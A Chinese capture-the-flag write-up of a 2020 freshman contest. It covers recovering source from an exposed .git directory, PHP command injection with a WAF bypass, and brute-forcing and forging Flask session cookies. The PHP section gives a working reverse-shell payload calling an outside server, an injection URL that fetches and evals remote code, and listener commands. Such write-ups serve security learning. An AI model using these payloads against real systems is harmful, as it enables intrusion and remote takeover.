2020Geek11th新生赛
2020Geek11th新生赛
自己菜的像🐕,只好从新生赛打起了…
EZgit
git源码泄露 + commit版本切换
脚本:GitHacker 由王一航大佬开发。
1 | python GitHacker.py http://47.100.46.169:3902/.git/ #获得源码+.git |
知X堂的php教程
这道题首先通过URI资源名和效果判断出后台接口可以任意读文件以及目录遍历,因此可通过其接口得到源码,下一步就是审计源码了。
审计源码,猜测是listdir.php种的ls代码注入,尝试;ls
注入,发现没有预期结果,通过Wappalyzer识别服务器架构为Ubuntu操作系统,所以搭建Ubuntu环境测试源码注入情况。
Ubuntu下载apache2后发现无PHP环境,需要下载php与apache2的php模块库
1 | sudo apt install php |
经过尝试后,发现没有预期结果的原因是传入的;ls
是search_dir变量,很明显,$search_dir无论如何拼接/
和item
都是sh无法通过is_file(),因为明显没有目录名叫;ls
。
1 | if ( is_file($search_dir . '/' . $item) AND substr($item, 0, 1) != '.' ) |
所以其实代码通过;
是可以注入的,只不过无回显,下一步的主要思路就是绕过waf.php来实现一个shell反弹,拿到flag。
waf利用正则表达式过滤了<>|&
,因此常规的反弹shell不行,因为重定向符被过滤了。通过源码的任意读文件,上网查了一下获得shell的多种方法,其实python就可以,可惜靶机中无python。另外发现msf获得shell的方法很清奇:
1 | msf > use exploit/multi/script/web_delivery |
首先是msf开启了一个8888服务,并且生成了一个文件内容,最后由php程序通过eval去包含且执行它。这里php的骚操作让俺长了见识,尽管咱云服务器上无msf,但是咱们可以举一反三,在云上弄个文件带上php反弹shell的payload,再让它包含不就完事儿了嘛!原理就是这样。另外,这里的骚操作php -d 让俺也涨了见识,-d参数可以进行一个临时配置,这里是开启了url文件包含的选项,让其php进程可以包含俺云服务器上的资源。最后,我在云服务器上/var/www/html中写入了一个gogo.php(没错,俺就是直接用的web服务),内容如下:
1 | $sock=fsockopen("123.57.95.65",2333);exec("/bin/bash -i <&3 >&3 2>&3"); |
这是比较典型的php反弹shell的payload。so,完事具备,代码注入一波就好!云服务器端开启一波2333端口监听,nc -nlvp
2333,然后注入。
1 | http://47.94.239.194:8082/listdir.php?dirname=.;php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://123.57.95.65:80/gogo.php%27));%22 |
此时云服务器监听终端有反应啦,成功拿下shell,find / -name flag
一波,找到位置/flagggggggggggggg_1s_here/flag
,cat即可!
1 | SYC{Mak3_ZXT_sh*t_4oreVer} |
忏悔的刘壮
审题发现应该是与python flask框架的session有关的题目,然后在网上检索关于flask的session相关CTF题。
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
flask session的组成结构:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
例如:eyJkb25lX3RpbWVzIjowfQ.X5JVng.5U6uWBp6V-g98elViadcYHwP3yc
发现了其考点可能为爆破session的密钥secret_key,来进行伪造session_id。这里使用flask-unsign开源PY脚本,首先
1 | flask-unsign.exe --decode --cookie 'eyJkb25lX3RpbWVzIjowfQ.X5JVng.5U6uWBp6V-g98elViadcYHwP3yc' |
然后再尝试爆破其secret_key:
1 | flask-unsign --unsign --cookie 'eyJkb25lX3RpbWVzIjowfQ.X5JVng.5U6uWBp6V-g98elViadcYHwP3yc' |
OK,我们得到了伪造session id的手段,尝试进行伪造,json内容为”{‘done_times’: 100}”,伪造方法同样使用flask-unsign脚本
1 | flask-unsign --sign --cookie "{'done_times': 10}" --secret 'abc' |
尝试将伪造出的session id存入浏览器,再次访问一下do_answer页面,发现done_times的值10被回显到了前端!怀疑存在SSTI模板注入!